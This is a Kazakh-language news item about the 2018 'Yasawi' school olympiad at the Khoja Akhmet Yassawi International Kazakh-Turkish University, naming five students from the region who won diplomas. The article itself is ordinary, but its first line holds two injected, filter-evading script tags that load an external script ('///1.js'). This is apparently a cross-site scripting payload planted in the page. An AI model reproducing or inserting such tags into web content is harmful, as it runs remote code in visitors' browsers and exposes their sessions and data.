<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
18.04.2018
2018 жылдың 13-14 сәуір айында Қазақстан Республикасы Білім және ғылым министрлігінің «Дарын» Республикалық ғылыми-практикалық орталығының жоспары бойынша Қожа Ахмет Ясауи атындағы Халықаралық қазақ-түрік униветситеті 11 сынып оқушылары арасында V Республикалық «Ясауи» пәндік олимпиадасының қорытынды кезеңі өтті. Олимпиада физика, математика, биология,химия, информатика, география, қазақ тілі, орыс тілі, ағылшын тілі, қазақстан тарихы, жалпы тарих пәндері бойынша өткізілді.
Олимпиаданың негізгі міндеттері:
- Оқушылардың физика, математика, биология, химия, информатика, география, қазақ тілі, орыс тілі, ағылшын тілі, қазақстан тарихы, жалпы тарих пәндерін тереңдетіп оқытуға деген қызығушылығын арттыру;
- Оқушылардың қызығушылықтары мен қабілеттерін жан-жақты дамыту;
- Оқушыларға білімнің кез-келген саласындағы жаңа жетістіктермен таныстыру:
-Оқу және кәсіби мотивация деңгейін арттыру.
Олимпиадаға облыстың Ерейментау, Зеренді, Целиноград, Шортанды аудандарынан, Астана қаласы, дарынды балаларға арналған № 2 облыстық
мамандандырылған мектеп-интернаты, Көкшетау қаласы, (қазақ тілінде оқытылатын)дарынды балаларға арналған № 3 облыстық мамандандырылған мектеп-интернатынан барлығы 33 оқушы қатысты.
Олимпиаданың қорытындысы бойынша біздің облыстан 5 оқушы II, ІІІ дәрежелі дипломмен марапатталып, грантқа ие болды.
II дәрежелі дипломмен 3 оқушы марапатталды:
1. Жанарбек Салауат – «Информатика» пәні бойынша Шортанды ауданы№3 қазақ орта мектебінің 11-сынып оқушысы;
2. Орал Нұрсылтан – «Тарих» пәні бойынша Зеренді ауданы, Ортақ орта мектебінің 11 сынып оқушысы;
3. Хозышыбай Гулжаухар – «Биология» Целиноград ауданы, Қоянды орта мектебінің 11 сынып оқушысы;
IIІ дәрежелі дипломмен 2 оқушы марапатталды:
1.Зейнелқабден Ұлан – «Қазақ тілі» пәні бойынша Зеренді ауданы, Шағалалы орта мектебінің 11-сынып оқушысы;
2. Қабдолла Іңкәр - «География» пәні бойынша Зеренді ауданы, Шағалалы орта мектебінің 11-сынып оқушысы;
Олимпиаданың қатысушыларына сертификат және Қожа Ахмет Ясауи атындағы Халықаралық қазақ-түрік униветситетіне түсу кезінде 25 % жеңілдік берілді.
